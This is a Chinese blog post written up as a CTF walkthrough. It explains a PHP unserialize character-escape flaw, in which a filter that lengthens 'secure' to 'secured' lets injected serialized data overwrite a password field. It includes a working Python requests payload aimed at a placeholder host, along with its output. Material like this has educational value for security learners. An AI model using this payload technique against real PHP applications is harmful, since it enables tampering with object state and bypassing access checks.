CTF:PHP反序列化字符逃逸漏洞

作者:高玉涵

博客:blog.csdn.net/cg_i

时间:2021.6.16 22:26

CTF入门好难

赛后,主办方给出答案后的第77天,我终于解开了这道题。

CTF作为流行在信息安全界著名竞赛,像我这种“被赶鸭子上架的程序员”——零基础。答案都看不懂,我太难了!不了解原理和背景,资料也无从找起。输了比赛不可怕,就怕输的不明不白,抱着这种不甘,也为了探究缘故,除了努力学习别无它法,期间走了不少弯路,终得解惑。这对于我来说,没有激动与喜悦,有得只是深刻。

现将解题过程分享出来,以达起到巩固知识,也便于帮助有需要的人。因个人能力所限,文中难免会有错误,不妥之处还请批评指正。

赛题源码

比赛期间我的心里路程

分析代码,需要通过将password字段的值修改为hacker才能拿到flag。

怎么拿?因代码中出现了unserialize反序列化函数,我自然联想到,这里定是存在“反序列化”漏洞。这个判断是正确的。紧接着分析代码,发现了filter函数,我锁定此处是拿到flag的关键,这个判断也是正确的。

虽然一开始我就走向了正确的方向,但限于我浅薄的知识,filter里的漏洞是什么?我即看不懂,更猜不透,解题更无从谈起。我只是笨拙、盲目、无限循环式的构造“反序列化”字符串,试图以撞大运的方式,妄图撞出个flag这一过程直至比赛时间终止结束。

filter里的反序列化字符逃逸详解

题目的本质就是改变序列化字符串的长度,导致反序列化漏洞。先来看一下PHP序列化代码的特征(图1)。

图1可以看到序列化字符串是以";}结束的,所以如果我们把";}带入指定序列化的字符串中间去,就能让反序列化提前闭合结束,后面的内容会被丢弃。

在反序列化的时候,PHP会根据s所指定的长度,读取后边的字符,如果指定的长度s错误,反序列化就会失败。下面给出一个实验例子代码(图2)。

name所读取的数据为aaaa"正常的语法是要用";闭合当前变量的,这里因为长度错误,PHP把闭合的双引号也当字符串处理了,下一个字符是分号,没能闭合导致抛出了错误。

现在我们再看开头给出的代码,filter函数替换secure成secured,长度比secure多1,这样前面的s所代表的长度为6但内容却变长了,成了secured(图3)。

根据反序列化读取变量的原则,此时username能读取到的只是secured,后面那个d是读取不到的,这就形成了一个字符的逃逸。当我们添加多个secured,每添加一个secured我们就能逃逸一个字符,我们可用逃逸的字符总个数,来构造我们要反序列化的字符,这就可以控制反序列化的结果以及类里面的变量值了。

尝试构造username为";s:8:"password";s:6:"hacker";}来间接修改password的值,如果只是单纯的把它加进去的话,就像下面这样(图4)。

由于$username被序列化后长度是固定的,反序列化后$username仍为";s:8:"password";s:6:"hacker";}$password仍为margin123。这里的关键点在于filter函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。

我们构造的序列化字符";s:8:"password";s:6:"hacker";}长度为31,我们再加上31个secured,那最终的长度将增加31,不就能逃逸后面的";s:8:"password";s:9:"margin123";}了吗?构造payload(图5)。

Python攻击代码:

import requests

if __name__ == '__main__':
    payload = {
        'username': 'securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure'
                    'securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}',
        'password': 'aaa'
    }

    r = requests.post("http://IP/1.php", data=payload)
    print(r.text)

string(6) "Hacker"
  ["username"]=>
  string(217) "securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured"
  ["password"]=>
  string(6) "hacker"

这31个secured完美占据了217个长度,成为了username的内容,而后面的部分则 “逃逸”了,变成了对象的属性password字段的变成了hacker成功拿到flag。

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值